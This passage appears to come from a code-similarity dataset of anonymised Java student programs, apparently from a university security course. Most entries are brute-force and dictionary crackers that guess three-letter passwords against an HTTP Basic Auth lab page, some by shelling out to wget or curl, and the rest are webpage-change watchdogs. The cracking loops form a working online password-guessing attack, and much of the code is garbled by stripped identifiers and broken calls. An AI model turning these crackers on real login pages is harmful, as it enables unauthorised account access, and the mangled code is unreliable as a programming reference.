\"O\",\"P\",\"Q\",\"R\",\"T\",\"U\",\"V\"\408    ,\"W\",\"X\",\"Y\",\"Z\",\"a\",\"b\",\"c\",\n                        \"d\",\"\409    e\",\"f\",\"g\",\"h\",\"i\",\"j\",\"k\",\"l\",\"m\",\"n\",\"o\",\"p\",\"q\",\n\410    \                        \"r\",\"s\",\"t\",\"u\",\"v\",\"w\",\"x\",\"y\",\"z\"\411    ,\"\"};\n\n    String urlString = new String(\"http://sec-crack.cs.rmit.edu./SEC/2/\"\412    );\n    String thePassword= new String();\n     stime = System.currentTimeMillis();\n\413    System.out.println(\"\");\n    for(int i=0; i<letter.length;i++)\n    {\n    \414    \  for(int j=0; j<letter.length; j++)\n      {\n        for(int k=0;flag==1 &&\415    \ k<letter.length; k++)\n        {\n          try {\n            URL url = new\416    \ URL (urlString);\n            thePassword=letter[i].trim()+letter[j].trim()+letter[k].trim();\n\417    \n            String userPassword = \"\" + \":\" + thePassword;\n\n          \418    \  String encoding = new url.misc.BASE64Encoder().encode(userPassword.getBytes());\n\419    \            URLConnection uc = url.openConnection();\n            uc.setRequestProperty(\"\420    Authorization\", \" \" + encoding);\n            InputStream content = (InputStream)uc.getContent();\n\421    \             endtime = System.currentTimeMillis();\n            BufferedReader\422    \ in   =\n                      new BufferedReader (new InputStreamReader (content));\n\423    \            String line;\n            while ((line = in.readLine()) != null)\424    \ {\n            pw.println (line);\n            }\n            flag=0;\n    \425    \        System.out.println(\"process time is : \" +(endtime-stime)/1000 +\" seconds.\"\426    );\n          }catch (MalformedURLException e) {\n\n           flag=1;\n     \427    \     }catch (IOException e) {\n\n           flag=1;\n          }\n        }\n\428    \        if(flag==0)\n          break;\n        else\n         System.out.println(\"\429    letter j ->\"+ letter[j]+\" elapsed\");\n      }\n      if(flag==0)\n        \430    \ break;\n      else\n         System.out.println(\"letter i ->\"+ letter[i]+\"\431    \ elapsed\");\n    }\n    System.out.println(\"content is \"+ sw.toString());\n\432    \   }\n }"433- source_sentence: "import java.io.*;\nimport java.net.*;\nimport java.net.HttpURLConnection;\n\434    import javax.net.*;\nimport java.security.cert.*;\n\npublic class Dictionary\n\435    {\n\tpublic static void main(String[] args)\n\t{\n\t\tBufferedReader in = null;\n\436    \t\tboolean found = true;\n\t\tString word = null;\n\t\tString cmd = null;\n\t\437    \tRuntime run = Runtime.getRuntime();\n\t\tProcess pro = null;\n\t\tBufferedReader\438    \ inLine = null;\n\n\n\n\t\tString str = null;\n\t\tURLConnection connection =\439    \ null;\n\n\t\ttry\n\t\t{\n\t\t\tFileReader reader = new FileReader(\"words\"\440    );\n\t\t\tin = new BufferedReader(reader);\n\t\t\tSystem.out.println(\" cracking....\"\441    );\n\t\t\t\n\t\t\t{\n\t\t\t\tfound = true;\n\t\t\t\tword = new String(in.readLine());\n\442    \n\t\t\t\tcmd = \"wget --http-user= --http-passwd=\"+word +\" http://sec-crack.cs.rmit.edu./SEC/2/index.php\"\443    ;\n\n\t\t\t\tpro = run.exec(cmd);\n\t\t\t\tinLine = new BufferedReader(new InputStreamReader(pro.getErrorStream()));\n\444    \n\n\t\t\t\tif((str=inLine.readLine())!=null)\n\t\t\t\t{\n\n\t\t\t\t\twhile ((str=inLine.readLine())!=null)\n\445    \t\t\t\t\t{\n\t\t\t\t\t\tif (str.endsWith(\"Required\"))\n\t\t\t\t\t\t{\n\n\t\t\446    \t\t\t\t\tfound = false;\n\t\t\t\t\t\t}\n\n\t\t\t\t\t}\n\t\t\t\t}\n\n\n\n\n\n\n\447    \t\t\t\trun.gc();\n\t\t\t}\n\t\t\twhile (!found);\n\n\n\n\n\n\t\t}\n\t\tcatch\448    \ (FileNotFoundException exc)\n\t\t{\n\t\t\tSystem.out.println(exc);\n\t\t}\n\t\449    \tcatch (IOException exc)\n\t\t{\n\t\t\tSystem.out.println(exc);\n\t\t}\n    \450    \    catch (NullPointerException ex)\n        {\n            System.out.println(word);\n\451    \        }\n\t\tfinally\n\t\t{\n\t\t\ttry\n\t\t\t{\n\t\t\t\tif (in!= null)\n\t\452    \t\t\t{\n\t\t\t\t\tin.print();\n\t\t\t\t}\n\t\t\t}\n\t\t\tcatch (IOException e)\453    \ {}\n\t\t}\n\t\tif (found == true)\n\t\t\tSystem.out.println(\"The password is\454    \ :\" + word);\n        else\n            System.out.println(\"NOT FOUND!\");\n\455    \t}\n}"456  sentences:457  - "\n\nimport java.misc.BASE64Encoder;\nimport java.misc.BASE64Decoder;\nimport\458    \ java.io.*;\nimport java.net.*;\nimport java.util.*;\n\n\n\npublic class Dictionary\459    \ {\n  \n  public Dictionary(String url, String dictionaryFile) {\n    try{\n\460    \      this.url = url;\n      this.dictionaryPath = dictionaryFile;\n      InputStream\461    \ fis = new FileInputStream(this.dictionaryPath);\n      dict = new BufferedReader(new\462    \ InputStreamReader(fis));\n\n    }catch(IOException ioe){\n      System.out.println(\"\463    Error opening dictionary file:\\n\" +ioe);\n    }\n  }\n\n\n  \n  private String\464    \ url = null;\n  \n  private String dictionaryPath = null;\n  \n  private BufferedReader\465    \ dict = null;\n  \n  private int attempts = 0;\n  \n  private int passwordSize\466    \ = 3;\n  \n  public void setPasswordSize(int size){\n      this.passwordSize\467    \ = size;\n  }\n  \n  public String getNextPassword()throws IOException{\n\n \468    \   String line = dict.readLine();\n\n      while(line!=null&&line.length()!=this.passwordSize\469    \ )\n        line = dict.readLine();\n\n    return line;\n  }\n  \n  public String\470    \ crackPassword(String user) throws IOException, MalformedURLException{\n    URL\471    \ url = null;\n    URLConnection urlConnection = null;\n    String outcome = null;\n\472    \    String  authorization = null;\n    String password = null;\n    BASE64Encoder\473    \ b64enc = new BASE64Encoder();\n    InputStream content = null;\n    BufferedReader\474    \ in = null;\n\n\n    while(!\"HTTP/1.1 200 OK\".equalsIgnoreCase(outcome)){\n\475    \n      url = new URL(this.url);\n      urlConnection = url.openConnection();\n\476    \      urlConnection.setDoInput(true);\n      urlConnection.setDoOutput(true);\n\477    \n\n      urlConnection.setRequestProperty(\"GET\", url.getPath() + \" HTTP/1.1\"\478    );\n      urlConnection.setRequestProperty(\"Host\", url.getHost());\n      password\479    \ = getNextPassword();\n      if(password == null)\n        return null;\n   \480    \   System.out.print(password);\n      authorization = user + \":\" + password;\n\481    \n\n      urlConnection.setRequestProperty(\"Authorization\", \" \"+ b64enc.encode(authorization.getBytes()));\n\482    \n\noutcome = urlConnection.getHeaderField(null); \n\n\n\n      this.attempts\483    \ ++;\n      urlConnection = null;\n      url = null;\n      \n      if(this.attempts%51\484    \ == 0)\n        for(int b = 0; b < 53;b++)\n          System.out.print(\"\\b\485    \ \\b\");\n      else\n        System.out.print(\"\\b\\b\\b.\");\n\n\n    }\n\486    \    return password;\n  }\n  \n  public int getAttempts(){\n    return this.attempts;\n\487    \  }\n  public static void main (String[] args) {\n    if(args.length != 3){\n\488    \      System.out.println(\"usage: java attacks.Dictionary <url  crack: e.g. http://sec-crack.cs.rmit.edu./SEC/2/>\489    \ <username: e.g. > <dictionary: e.g. /usr/share/lib/dict/words>\");\n      System.exit(1);\n\490    \    }\n\n    Dictionary dictionary1 = new Dictionary(args[0], args[2]);\n   \491    \ try{\n      Calendar cal1=null, cal2=null;\n      cal1 = Calendar.getInstance();\n\492    \      System.out.println(\"Cracking started at: \" + cal1.getTime().toString());\n\493    \      String password = dictionary1.crackPassword(args[1]);\n      if(password\494    \ != null)\n        System.out.println(\"\\nPassword is: \"+password);\n     \495    \ else\n        System.out.println(\"\\nPassword could not  retrieved!\");\n \496    \     cal2 = Calendar.getInstance();\n      System.out.println(\"Cracking finished\497    \ at: \" + cal2.getTime().toString());\n      Date d3 = new Date(cal2.getTime().getTime()\498    \ - cal1.getTime().getTime());\n      System.out.println(\"Total Time taken  crack:\499    \ \" + (d3.getTime())/1000 + \" sec\");\n      System.out.println(\"Total attempts\500    \ : \"  + dictionary1.getAttempts());\n\n    }catch(MalformedURLException mue){\n\501    \      mue.printStackTrace();\n    }\n\n    catch(IOException ioe){\n      ioe.printStackTrace();\n\502    \    }\n  }\n}"503  - "import java.io.*;\nimport java.net.*;\nimport java.security.*;\nimport java.math.*;\n\504    import java.*;\nimport java.util.*;\n\n\npublic class BruteForce\n{\n    public\505    \ static void main (String args[]) throws Exception {\n\tString retVal = null,\506    \ StatusCode = \"HTTP/1.1 200 OK\";\n    int found = 0, count = 0, ctrl = 0, flag\507    \ = 0;\n\n\n          stime = System.currentTimeMillis();\n         char[] c =\508    \ new char[3];\n         System.out.println(\"Cracking password by Brute Force...\"\509    );\n\n\t     for(int i=65; ((i<123) && (found == 0)); i++)\n\t     {\n\t     \510    \  for(int j=65; ((j<123) && (found == 0)); j++)\n\t       {\n\t         for (int\511    \ k=65; ((k<123) && (found == 0)); k++)\n\t         {\n               try {\n\512    \                   if (ctrl == 0) {\n                      c[0] = '\\0';\n  \513    \                    c[1] = '\\0';\n                   } else if ((ctrl == 1)\514    \ && (flag == 0)) {\n                     c[0] = '\\0';\n                   }\n\515    \                      c[2] = (char)(k);\n\n\t               \n              \516    \     URL yahoo = new URL(\"http://sec-crack.cs.rmit.edu./SEC/2/\");\n       \517    \            URLConnection yc = yahoo.openConnection();\n\n                  \518    \ \n                   String authString = \":\" + String.valueOf();\n       \519    \            String auth = new bf.misc.BASE64Encoder().encode(authString.getBytes());\n\520    \                   yc.setRequestProperty(\"Authorization\", \" \" + auth);\n\521    \                   count++;\n\n                   \n                   BufferedReader\522    \ in = new BufferedReader(\n                                           new InputStreamReader(\n\523    \                                           yc.getInputStream()));\n\n       \524    \            String inputLine;\n                   while ((inputLine = in.readLine())\525    \ != null){\n                           System.out.println(inputLine);\n     \526    \                       etime = System.currentTimeMillis();\n                \527    \           System.out.println(\"Password found -- \" + String.valueOf());\n \528    \                          System.out.println(\"Time used = \" + ((etime - stime)/1000)\529    \ + \" sec\");\n                           System.out.println(\"# of attempt =\530    \ \" + count);\n                           System.out.println(\"End of cracking!\"\531    );\n                           found = 1;\n                   }\n            \532    \       in.print();\n\n\t           } catch (Exception ex) {}\n\t         }\n\t\533    \         ctrl = 1;\n             c[1] = (char)(j);\n           }\n          \534    \ ctrl = 2;\n           flag = 1;\n           c[0] = (char)(i);\n         }\n\535    \         if (found == 0){\n           System.out.println(\"Sorry,  password found.\"\536    );\n           System.out.println(\"# of attempt = \" + count);\n           System.out.println(\"\537    End of cracking!\");\n         }\n    }\n}"538  - "\n\nimport java.net.*;\nimport java.io.*;\n\nimport java.*;\nimport java.util.*;\n\539    \npublic class Dictionary {\n\n  private static String commandLine = \"curl http://sec-crack.cs.rmit.edu./SEC/2/index.php\540    \ -I -u :\";\n  private String password;             \n  private String previous;\541    \             \n  private String url;                  \n  private int startTime;\n\542    \  private int endTime;\n  private int totalTime;\n  private float averageTime;\n\543    \  private boolean finish;\n  private Process curl;\n  private BufferedReader\544    \ bf, responseLine;\n\n  public Dictionary() {\n\n  first();\n  finish = true;\545    \                           \n  previous = \"\";                           \n\546    \  Runtime run = Runtime.getRuntime();\n  startTime =new Date().getTime();   \547    \      \n  int i=0;\n  try {\n   try {\n     bf = new BufferedReader(new FileReader(\"\548    words\"));\n   }\n   catch(FileNotFoundException notFound) {\n    bf  = new BufferedReader(new\549    \ FileReader(\"/usr/share/lib/dict/words\"));\n   }\n\n   while((password = bf.readLine())\550    \ != null) {\n    if(password.length()>3) password = password.substring(0,3);\n\551    \    if(previous.equals(password)) ;\n    else {\n    previous = password;\n \552    \   url = commandLine+password;\n    curl= run.exec(url);                   \n\553    \    responseLine=new BufferedReader(new InputStreamReader(curl.getInputStream()));\n\554    \    \n    if(responseLine.readLine().substring(9,12).equals(\"200\")) break;\n\555    \    }\n   }\n  }\n  catch(IOException ioe) {\n    System.out.println(\"\\n IO\556    \ Exception! \\n\");\n    System.out.println(\"The current url is:\"+ url);\n\557    \    System.out.println(\"The current trying password is:\"+password);\n    finish=false;\n\558    \  }\n\n  endTime = new Date().getTime();          \n  totalTime = (endTime-startTime)/1000;\n\559    \  System.out.println(\"   The response time is:\"+ totalTime + \"  seconds\\\560    n\");\n  if(finish) {\n    System.out.println(\"   The password for  is:\"+ password);\n\561    \    try {\n    savePassword(password, totalTime);\n    }\n    catch (IOException\562    \ ioec) {\n       System.out.println(\"  not save the password  file Dictionary_pwd.txt\563    \ \");\n    }\n  }\n  }\n\n\n  public void savePassword(String passwdString, int\564    \ time) throws IOException {\n  DataOutputStream outputStream = new DataOutputStream(new\565    \ FileOutputStream(\"Dictionary_pwd.txt\"));\n  outputStream.writeChars(\"The\566    \ password is:\");\n  outputStream.writeChars(passwdString+\"\\n\");\n  outputStream.writeChars(\"\567    The response time is: \");\n  outputStream.writeChars(sw.toString(time));\n  outputStream.writeChars(\"\568    \ seconds\\n\");\n  outputStream.close();\n  }\n\n  public void first() {\n\n\569    \    System.out.println(\"\\n\\n----------------------------------------------\"\570    );\n    System.out.println(\"   Use curl command and dictionary \");\n    System.out.println(\"\571    \  Brute Force the password for user  \");\n    System.out.println(\"----------------------------------------------\"\572    );\n  }\n\n  public static void main(String[] args) {\n   new Dictionary();\n\573    \  }  \n}\n"574- source_sentence: "\n\nimport java.net.*;\nimport java.io.*;\nimport java.io.BufferedReader;\n\575    import java.io.InputStream;\nimport java.io.InputStreamReader;\nimport java.io.IOException;\n\576    import java.io.FileInputStream;\nimport java.io.FileNotFoundException;\nimport\577    \ java.util.*;\nimport java.*;\n\n\npublic class Dictionary {\n    public static\578    \ void main(String[] args) throws Exception {\n        String pass;\n        int\579    \ attempt = 0;\n        String fileName = \"words.txt\", line;\n        BufferedReader\580    \ reader;\n        Dictionary dict = new Dictionary();\n        boolean flag=false;\n\581    \n        System.out.println(System.currentTimeMillis()/1000);\n\n      try{\n\582    \        reader = new BufferedReader(new InputStreamReader(new FileInputStream(fileName)));\n\583    \        while (!flag)\n        {\n            try{\n               line = reader.readLine();\n\584    \               attempt++;\n               URL url = new URL(\"http://sec-crack.cs.rmit.edu./SEC/2/\"\585    );\n               URLConnection yc = url.openConnection();\n               pass\586    \ = \":\" + line;\n               String password = new url.misc.BASE64Encoder().encode(pass.getBytes());\n\587    \               yc.setRequestProperty(\"Authorization\",\" \"+password);\n   \588    \            BufferedReader in = new BufferedReader(new InputStreamReader(yc.getInputStream()));\n\589    \               String inputLine;\n               while ((inputLine = in.readLine())\590    \ != null)\n                   System.out.println(inputLine);\n              \591    \ in.close();\n               System.out.println(pass);\n               flag=true;\n\592    \               System.out.println(System.currentTimeMillis()/1000); \n      \593    \         System.out.println(\" of attempt: \"+attempt);\n               System.exit(0);\n\594    \             }catch(IOException e){\n                \n             }\n     \595    \   }  \n      }catch(FileNotFoundException e){\n         System.out.println(\"\596    File not found\");\n\n      }\n    }\n}"597  sentences:598  - "import java.io.*;\nimport java.net.*;\nimport java.util.*;\n\npublic class Watchdog\n\599    {\n\tpublic static void main(String args[])\n\t{\n\t\t\n\t\tString mainLink=\"\600    http://www.cs.rmit.edu./students/\";\n\t\tString sender = \"@cs.rmit.edu.\";\n\601    \t\tString recipient = \"<webtech@acuneeds.>\";\n\t\tString hostName = \"yallara.cs.rmit.edu.\"\602    ;\n\t\tint delay = 86400000;\n\n\t\ttry\n\t\t{\n\t\t\tint imgSrcIndex, imgSrcEnd;\n\603    \t\t\tString imgLink;\n\t\t\tVector imageList = new Vector();\n\t\t\tHttpURLConnection\604    \ imgConnection;\n\t\t\tURL imgURL;\n\n\t\t\t\n\t\t\tEmailClient email = new EmailClient(sender,\605    \ recipient, hostName);\n\n\t\t\t\n\t\t\tURL url=new URL(mainLink);\n\t\t\tHttpURLConnection\606    \ connection = (HttpURLConnection) url.openConnection();\n\n\t\t\tBufferedReader\607    \ webpage = new BufferedReader(new InputStreamReader(connection.getInputStream()));\n\608    \n\t\t\t\n\t\t\tFileWriter fwrite = new FileWriter(\"local.txt\");\n\t\t\tBufferedWriter\609    \ writefile = new BufferedWriter(fwrite);\n\n\t\t\tString line=webpage.readLine();\n\610    \n\t\t\twhile (line != null)\n\t\t\t{\n\t\t\t\t\n\t\t\t\twritefile.write(line,0,line.length());\n\611    \t\t\t\twritefile.newLine();\n\n\t\t\t\t\n\t\t\t\tline = line.toLowerCase();\n\612    \t\t\t\timgSrcIndex=line.indexOf(\"src\");\n\n\t\t\t\tif(imgSrcIndex!=-1)\n\t\t\613    \t\t{\n\t\t\t\t\t\n\t\t\t\t\timgLink = line.substring(imgSrcIndex+3);\n\t\t\t\t\614    \timgSrcIndex=imgLink.indexOf(\"\\\"\");\n\t\t\t\t\timgLink = imgLink.substring(imgSrcIndex+1);\n\615    \t\t\t\t\timgSrcEnd = imgLink.indexOf(\"\\\"\");\n\t\t\t\t\timgLink = imgLink.substring(0,imgSrcEnd);\n\616    \n\t\t\t\t\t\n\t\t\t\t\tif (imgLink.startsWith(\"http\"))\n\t\t\t\t\t{\n\t\t\t\617    \t\t\timgURL = new URL(imgLink);\n\t\t\t\t\t\timgConnection = (HttpURLConnection)\618    \ imgURL.openConnection();\n\t\t\t\t\t}\n\t\t\t\t\t\n\t\t\t\t\telse\n\t\t\t\t\t\619    {\n\t\t\t\t\t\timgURL = new URL(mainLink);\n\t\t\t\t\t\timgURL = new URL(imgURL,\620    \ imgLink);\n\t\t\t\t\t\timgConnection = (HttpURLConnection) imgURL.openConnection();\n\621    \t\t\t\t\t\timgLink = (imgConnection.getURL()).toString();\n\t\t\t\t\t}\n\n\t\t\622    \t\t\t\n\t\t\t\t\timageList.add(new ImageFile(imgLink, imgConnection.getContentLength()));\n\623    \t\t\t\t\timgConnection.disconnect();\n\t\t\t\t}\n\n\t\t\t\tline = webpage.readLine();\n\624    \n\t\t\t}\n\n\t\t\t\n\t\t\twritefile.close();\n\t\t\tfwrite.close();\n\t\t\twebpage.close();\n\625    \t\t\tconnection.disconnect();\n\n\t\t\t\n\t\t\tWatchdogThread watchdog = new\626    \ WatchdogThread(mainLink, imageList, email, delay);\n\t\t}\n\n\t\tcatch (IOException\627    \ ioe)\n\t\t{\n\t\t\t\n\t\t\t\n\t\t\tSystem.out.println(ioe);\n\t\t\tSystem.out.println(\"\628    Please run program again.\");\n\t\t\tSystem.exit(0);\n\t\t}\n\n\t}\n\n}\n"629  - "import java.net.*;\nimport java.io.*;\n\n\npublic class Dictionary {\n  private\630    \ String strUserName;\n  private String strURL;\n  private String strDictPath;\n\631    \  private int iAttempts;\n\n    \n    public Dictionary(String strURL,String\632    \ strUserName,String strDictPath) {\n    this.strURL = strURL;\n    this.strUserName\633    \ = strUserName;\n    this.iAttempts = 0 ;\n    this.strDictPath = strDictPath;\n\634    \    }\n  \n\n  public String getPassword(){\n      URL u;\n      String result\635    \ =\"\";\n      PassGenDict PG = new PassGenDict(3,strDictPath);\n      URLConnection\636    \ uc;\n      String strPassword = new String();\n      String strEncode;\n   \637    \     try{\n        while (result.compareTo(\"HTTP/1.1 200 OK\")!=0){\n      \n\638    \          strEncode = PG.getNewPassword();\n          u = new URL(strURL);\n\639    \          uc = u.openConnection();\n          uc.setDoInput(true);\n        \640    \  uc.setDoOutput(true);\n          strPassword = strEncode;\n          strEncode\641    \ =  strUserName + \":\" + strEncode;\n          \n        strEncode = new String(Base64.encode(strEncode.getBytes()));\n\642    \          uc.setRequestProperty(\"Authorization\",\" \" + strEncode);\n     \643    \       \n      result = uc.getHeaderField(0);\n          uc = null;\n       \644    \   u = null;\n          iAttempts++;\n        }\n\n      }\n      catch (Exception\645    \ me) {\n      System.out.println(\"MalformedURLException: \"+me);\n      }\n\646    \      return(strPassword);\n  }\n \n   public int getAttempts(){\n    return\647    \ (iAttempts);\n  };\n  \n  public static void  main(String arg[]){\n     timeStart\648    \ = 0;\n     timeEnd = 0;\n    \n    if (arg.length == 3) {\n    Dictionary BF\649    \ = new Dictionary(arg[0],arg[1],arg[2]);\n\n    System.out.println(\"Processing\650    \ ... \");\n    timeStart = System.currentTimeMillis();\n    System.out.println(\"\651    Password = \" + BF.getPassword());\n    timeEnd = System.currentTimeMillis();\n\652    \    System.out.println(\"Total Time Taken = \" + (timeEnd - timeStart) + \" (msec)\"\653    );\n    System.out.println(\"Total Attempts  = \" + BF.getAttempts());\n    }\n\654    \    else {\n       System.out.println(\"[Usage] java BruteForce <URL> <USERNAME>\655    \ <Dictionary path>\");\n\n    }\n\n  }\n}\n\n\nclass PassGenDict {\n\n  private\656    \ char[] password;\n  private String line;\n  int iPassLenght;\n  private BufferedReader\657    \ inputFile;\n  public PassGenDict(int lenght, String strDictPath) {\n    try{\n\658    \      inputFile = new BufferedReader(new FileReader(strDictPath));\n    }\n \659    \   catch (Exception e){\n    }\n    iPassLenght = lenght;\n  }\n   \n public\660    \ String getNewPassword()\n    throws PasswordFailureException{\n    try {\n \661    \     {\n        line = inputFile.readLine();\n      }while (line.length() !=\662    \ iPassLenght);\n\n    }\n    catch (Exception e){\n      throw new PasswordFailureException\663    \ ();\n    }\n    return (line);\n  }\n}\n\nclass PasswordFailureException extends\664    \ RuntimeException {\n\n  public PasswordFailureException() {\n  }\n}"665  - "\n\nimport java.net.*;\nimport java.io.*;\nimport java.util.*;\n\npublic class\666    \ Dictionary{\n\n  private static URL location;\n  private static String user;\n\667    \  private BufferedReader input;\n  private static BufferedReader dictionary;\n\668    \  private int maxLetters = 3;\n\n  \n\n    public Dictionary() {\n      \n  \669    \    Authenticator.setDefault(new MyAuthenticator ());\n\n       startTime = System.currentTimeMillis();\n\670    \      boolean passwordMatched = false;\n      while (!passwordMatched) {\n  \671    \      try {\n          input = new BufferedReader(new InputStreamReader(location.openStream()));\n\672    \          String line = input.readLine();\n          while (line != null) {\n\673    \            System.out.println(line);\n            line = input.readLine();\n\674    \          }\n          input.close();\n          passwordMatched = true;\n  \675    \      }\n        catch (ProtocolException e)\n        {\n          \n       \676    \   \n        }\n        catch (ConnectException e) {\n          System.out.println(\"\677    Failed  connect\");\n        }\n        catch (IOException e) {\n          e.printStackTrace();\n\678    \          System.exit(-1);\n        }\n      }\n       endTime = System.currentTimeMillis();\n\679    \      System.out.println(\"Total Time: \"+cad.concat(Math.toString(endTime -\680    \ startTime)));\n    }\n\n    \n\n    private char[] nextPassword() {\n      String\681    \ password = new String();\n      try {\n        password = dictionary.readLine();\n\682    \        while (password.length() > maxLetters) {\n          password = dictionary.readLine();\n\683    \        }\n      }\n      catch (IOException e) {\n        e.printStackTrace();\n\684    \        System.exit(-1);\n      }\n\n      return password.toCharArray();\n \685    \   }\n\n\n    \n\n    public static void main(String args[]) {\n      if (args.length\686    \ != 3) {\n        System.out.println(\"Usage: java Dictionary url user dictionary\"\687    );\n        System.exit(-1);\n      }\n      try {\n        location = new URL(args[0]);\n\688    \      }\n      catch (MalformedURLException e) {\n        e.printStackTrace();\n\689    \      }\n      user = new String().concat(args[1]);\n      try {\n        dictionary\690    \ = new BufferedReader(new FileReader(args[2]));\n      }\n      catch (IOException\691    \ e) {\n        e.printStackTrace();\n        System.exit(-1);\n      }\n    \692    \  new Dictionary();\n    }\n\n    \n\n    class MyAuthenticator extends Authenticator\693    \ {\n      protected PasswordAuthentication getPasswordAuthentication() {\n  \694    \      char [] currentPassword = nextPassword();\n        System.out.print(user.concat(\"\695    -\"));\n        System.out.println(currentPassword);\n        return new PasswordAuthentication\696    \ (user, currentPassword);\n      }\n    }\n}\n"697- source_sentence: "\n\n\n\n\n\nimport java.io.*;\nimport java.net.*;\n\n\n\npublic\698    \ class Dictionary\n{\n   public static void main (String args[]) throws IOException,\n\699    \   MalformedURLException\n   {\n      final String username = \"\";\n      final\700    \ String fullurl = \"http://sec-crack.cs.rmit.edu./SEC/2/\";\n      final String\701    \ dictfile = \"/usr/share/lib/dict/words\";\n      String temppass;\n      String\702    \ password = \"\";\n      URL url = new URL(fullurl);\n      boolean cracked =\703    \ false;\n\n       startTime = System.currentTimeMillis();\n\n      \n      BufferedReader\704    \ r = new BufferedReader(new FileReader(dictfile));\n\n      while((temppass =\705    \ r.readLine()) != null && !cracked)\n      {  \n         \n         if(temppass.length()\706    \ <= 3)\n         {\n            \n            if(isAlpha(temppass))\n       \707    \     {\n               \n               Authenticator.setDefault(new MyAuthenticator(username,temppass));\n\708    \               try{\n                  BufferedReader x = new BufferedReader(new\709    \ InputStreamReader(\n                     url.openStream()));\n             \710    \     cracked = true;\n                  password = temppass;\n              \711    \ } catch(Exception e){}\n            }\n         }\n      }\n\n       stopTime\712    \ = System.currentTimeMillis();\n      \n      if(!cracked)\n         System.out.println(\"\713    Sorry, couldnt find the password\");\n      else\n         System.out.println(\"\714    Password found: \"+password);\n      System.out.println(\"Time taken: \"+(stopTime-startTime));\n\715    \   }\n\n   public static boolean isAlpha(String s)\n   {\n      boolean v = true;\n\716    \      for(int i=0; i<s.length(); i++)\n      {\n         if(!Character.isLetter(s.charAt(i)))\n\717    \            v = false;\n      }\n      return ;\n   }\n}\n\n"718  sentences:719  - "\n\nimport java.net.*;\nimport java.text.*;  \nimport java.util.*;  \nimport\720    \ java.io.*;\n\npublic class WatchDog {\n\n  public WatchDog() {\n\n    StringBuffer\721    \ stringBuffer1 = new StringBuffer();\n    StringBuffer stringBuffer2 = new StringBuffer();\n\722    \    int i,j = 0;\n\n    try{\n\n      URL yahoo = new URL(\"http://www.cs.rmit.edu./students/\"\723    ); \n      BufferedReader in = new BufferedReader(new InputStreamReader(yahoo.openStream()));\n\724    \n      String inputLine = \"\";\n      String inputLine1 = \"\";\n      String\725    \ changedtext= \"\";\n      String changedflag= \"\";\n\n\n      Thread.sleep(180);\n\726    \n      BufferedReader in1 = new BufferedReader(new InputStreamReader(yahoo.openStream()));\n\727    \n\n      while ((inputLine = in.readLine()) != null) {\n           inputLine1\728    \ = in1.readLine();\n           if (inputLine.equals(inputLine1)) {\n        \729    \      System.out.println(\"equal\");\n           }\n           else {\n     \730    \         System.out.println(\"Detected a Change\");\n              System.out.println(\"\731    Line Before the change:\" + inputLine);\n              System.out.println(\"Line\732    \ After the change:\" + inputLine1);\n              changedtext = changedtext\733    \ + inputLine + inputLine1;\n              changedflag = \"Y\";\n           }\n\734    \           \n      }\n\n      if (in1.readLine() != null ) {\n         System.out.println(\"\735    Detected a Change\");\n         System.out.println(\"New Lines Added  \");\n \736    \        changedtext = changedtext + \"New Lines added\";\n         changedflag\737    \ = \"Y\";\n      }\n\n      in.print();\n      in1.print();\n\n      if (changedflag.equals(\"\738    Y\")) {\n         String smtphost =\"smtp.mail.rmit.edu.\" ; \n         String\739    \ from = \"@rmit.edu.\"; \n         String  = \"janaka1@optusnet..\" ; \n    \740    \  }\n\n\n    }\n    catch(Exception e){ System.out.println(\"exception:\" + e);}\n\741    \t \n}\n\t\t\n    public static void main (String[] args) throws Exception {\n\742    \t\tWatchDog u = new WatchDog();\n    }\n}\n"743  - "\n\n\n\nimport java.util.*;\nimport java.net.*;\nimport java.io.*;\nimport javax.swing.*;\n\744    \npublic class PasswordCombination\n{\n    private int      pwdCounter = 0;\n\745    \    private   int   startTime;\n    private String   str1,str2,str3;\n    private\746    \ String   url = \"http://sec-crack.cs.rmit.edu./SEC/2/\";\n    private String\747    \   loginPwd;\n    private String[] password;\n    private HoldSharedData data;\n\748    \    private char[] chars = {'A','B','C','D','E','F','G','H','I','J','K','L','M',\n\749    \                            'N','O','P','Q','R','S','T','U','V','W','X','Y','Z',\n\750    \                            'a','b','c','d','e','f','g','h','i','j','k','l','m',\n\751    \                            'n','o','p','q','r','s','t','u','v','w','x','y','z'};\n\752    \n    public PasswordCombination()\n    {\n        System.out.println(\"Programmed\753    \ by   for INTE1070 Assignment 2\");\n\n        String input = JOptionPane.showInputDialog(\754    \ \"Enter number of threads\" );\n        if(  input == null  )\n           System.exit(0);\n\755    \n        int numOfConnections = Integer.parseInt( input );\n        startTime\756    \ = System.currentTimeMillis();\n        int pwdCounter = 52*52*52 + 52*52 + 52;\n\757    \        password = new String[pwdCounter];\n\n\n        loadPasswords();\n  \758    \      System.out.println( \"Total Number of Passwords: \" + pwdCounter );\n \759    \       createConnectionThread( numOfConnections );\n    }\n\n    private void\760    \ doPwdCombination()\n    {\n        for( int i = 0; i < 52; i ++ )\n        {\n\761    \            str1 = \"\" + chars[i];\n            password[pwdCounter++] = \"\"\762    \ + chars[i];\n            System.err.print( str1 + \" | \" );\n\n           \763    \ for( int j = 0; j < 52; j ++ )\n            {\n                str2 = str1 +\764    \ chars[j];\n                password[pwdCounter++] = str1 + chars[j];\n\n   \765    \             for( int k = 0; k < 52; k ++ )\n                {\n            \766    \        str3 = str2 + chars[k];\n                    password[pwdCounter++] =\767    \ str2 + chars[k];\n                }\n            }\n        }\n    }\n\n   \768    \ private void loadPasswords( )\n    {\n        FileReader     fRead;\n      \769    \  BufferedReader buf;\n        String         line = null;\n        String  \770    \       fileName = \"words\";\n\n        try\n        {\n            fRead = new\771    \ FileReader( fileName );\n            buf = new BufferedReader(fRead);\n\n  \772    \          while((line = buf.readLine( )) != null)\n            {\n          \773    \      password[pwdCounter++] = line;\n            }\n        }\n        catch(FileNotFoundException\774    \ e)\n        {\n            System.err.println(\"File not found: \" + fileName);\n\775    \        }\n        catch(IOException ioe)\n        {\n            System.err.println(\"\776    IO Error \" + ioe);\n        }\n    }\n\n    private void createConnectionThread(\777    \ int input )\n    {\n        data = new HoldSharedData( startTime, password,\778    \ pwdCounter );\n\n        int numOfThreads = input;\n        int batch = pwdCounter/numOfThreads\779    \ + 1;\n        numOfThreads = pwdCounter/batch + 1;\n        System.out.println(\"\780    Number of Connection Threads Used=\" + numOfThreads);\n        ConnectionThread[]\781    \ connThread = new ConnectionThread[numOfThreads];\n\n        for( int index =\782    \ 0; index < numOfThreads; index ++ )\n        {\n            connThread[index]\783    \ = new ConnectionThread( url, index, batch, data );\n            connThread[index].conn();\n\784    \        }\n    }\n}  "785  